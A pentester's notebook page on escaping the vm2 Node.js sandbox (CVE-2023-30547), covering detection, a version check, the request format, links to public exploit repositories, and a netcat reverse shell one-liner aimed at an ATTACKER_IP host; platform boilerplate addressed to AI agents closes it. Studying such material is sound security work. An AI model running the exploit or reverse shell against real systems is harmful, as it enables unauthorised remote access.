> For the complete documentation index, see [llms.txt](https://book.ice-wzl.xyz/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://book.ice-wzl.xyz/things-i-have-pwnd-before/vm2.md).

# vm2 (Node.js sandbox)

**vm2** is a Node.js library used to sandbox user-supplied JavaScript. Sites may offer a "test your code" or "run code" feature that executes input inside vm2. Versions before **3.9.17** are vulnerable to sandbox escape and RCE.

**Detection:** Look for an app that runs user code (e.g. "Test your Node.js code", code editor, `/editor`, `/run`). The about/limitations page may mention vm2 or list restricted modules (`child_process`, `fs`). Check for a version link (e.g. `vm2/releases/tag/3.9.16`).

***

## Version check (in-sandbox)

If you can run code in the sandbox, check the vm2 version:

```javascript
const version = require("vm2/package.json").version;
console.log(version < "3.9.17" ? "vulnerable!" : "not vulnerable");
```

***

## CVE-2023-30547 / vm2 escape

**Affects:** vm2 before 3.9.17. Multiple escape techniques exist; public PoCs achieve RCE.

**Request format:** Many apps send the code as **base64** in JSON to an endpoint like `POST /run`:

```json
{"code":"<base64-encoded JavaScript>"}
```

**PoCs:**

* [rvizx/VM2-Exploit](https://github.com/rvizx/VM2-Exploit) — general vm2 escape.
* [rvizx/CVE-2023-30547](https://github.com/rvizx/CVE-2023-30547) — exploit script that sends payload to the target `/run` (or similar) endpoint.

```bash
# Exploit sends commands to the target; ensure the script uses the correct endpoint (e.g. /run)
python3 exploit.py http://TARGET/run
# Then at prompt: id, pwd, or reverse shell one-liner
```

**Reverse shell:** Run the exploit and at the `>` prompt send a reverse shell (e.g. `rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc ATTACKER_IP 9001 >/tmp/f`). Start listener: `nc -nlvp 9001`. Shell runs as the process user (e.g. `svc`).

***

## Quick reference

| Item             | Value                                   |
| ---------------- | --------------------------------------- |
| Vulnerable       | vm2 < 3.9.17                            |
| Typical endpoint | `POST /run` with `{"code":"BASE64"}`    |
| Version check    | `require("vm2/package.json").version`   |
| PoC              | rvizx/CVE-2023-30547, rvizx/VM2-Exploit |


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://book.ice-wzl.xyz/things-i-have-pwnd-before/vm2.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
